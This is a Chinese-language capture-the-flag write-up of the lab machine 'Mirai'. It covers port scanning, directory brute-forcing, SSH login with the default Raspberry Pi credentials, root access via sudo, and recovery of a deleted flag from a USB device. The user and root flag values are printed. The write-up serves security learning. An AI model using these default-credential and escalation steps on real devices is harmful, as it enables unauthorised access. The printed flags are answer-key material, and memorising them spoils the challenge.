信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.10.48 | TCP:22,53,80,1276,32400,32469 |
$ nmap -p- 10.10.10.48 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
1276/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http Plex Media Server httpd
|_http-title: Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-favicon: Plex
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
HTTP
$ gobuster dir -u "http://10.10.10.48/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50
![[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图](https://img.4awl.net/img/9d/22632d527f3fa9af1e8d15eb2ef3a5.jpg "[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图")
http://10.10.10.48/versions
![[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图1](https://img.4awl.net/img/14/82d8e9ebfd4226fa626dc65a7976a9.jpg "[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图1")
![[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图2](https://img.4awl.net/img/6f/7449dba1ddd692f4953a375bdf4a46.jpg "[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图2")
username:pipassword:raspberry
SSH
$ ssh [email protected]
![[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图3](https://img.4awl.net/img/3c/b7cc8fb449aae4df9215c6c42356ab.jpg "[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图3")
User.txt
ff837707441b257a20e32199d7c8838d
权限提升
pi@raspberrypi:~ $ sudo -l
pi@raspberrypi:~ $ sudo /bin/bash
![[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图4](https://img.4awl.net/img/15/fbee90cdc44c206f62882afee723eb.jpg "[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图4")
root@raspberrypi:/home/pi# lsblk
![[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图5](https://img.4awl.net/img/25/8b9f251d43317349ccba812ad4a4b9.jpg "[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图5")
root@raspberrypi:/home/pi# cat /media/usbstick/damnit.txt
![[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图6](https://img.4awl.net/img/f9/74251c3e0c25252cd97df657670fa4.jpg "[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图6")
root@raspberrypi:/media/usbstick# df -h
root@raspberrypi:/media/usbstick# strings /dev/sdb
![[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图7](https://img.4awl.net/img/17/023255a25c2467e159e198a16b6429.jpg "[Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文…插图7")
Root.txt
3d3e483143ff12ec505d026fa13e020b
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
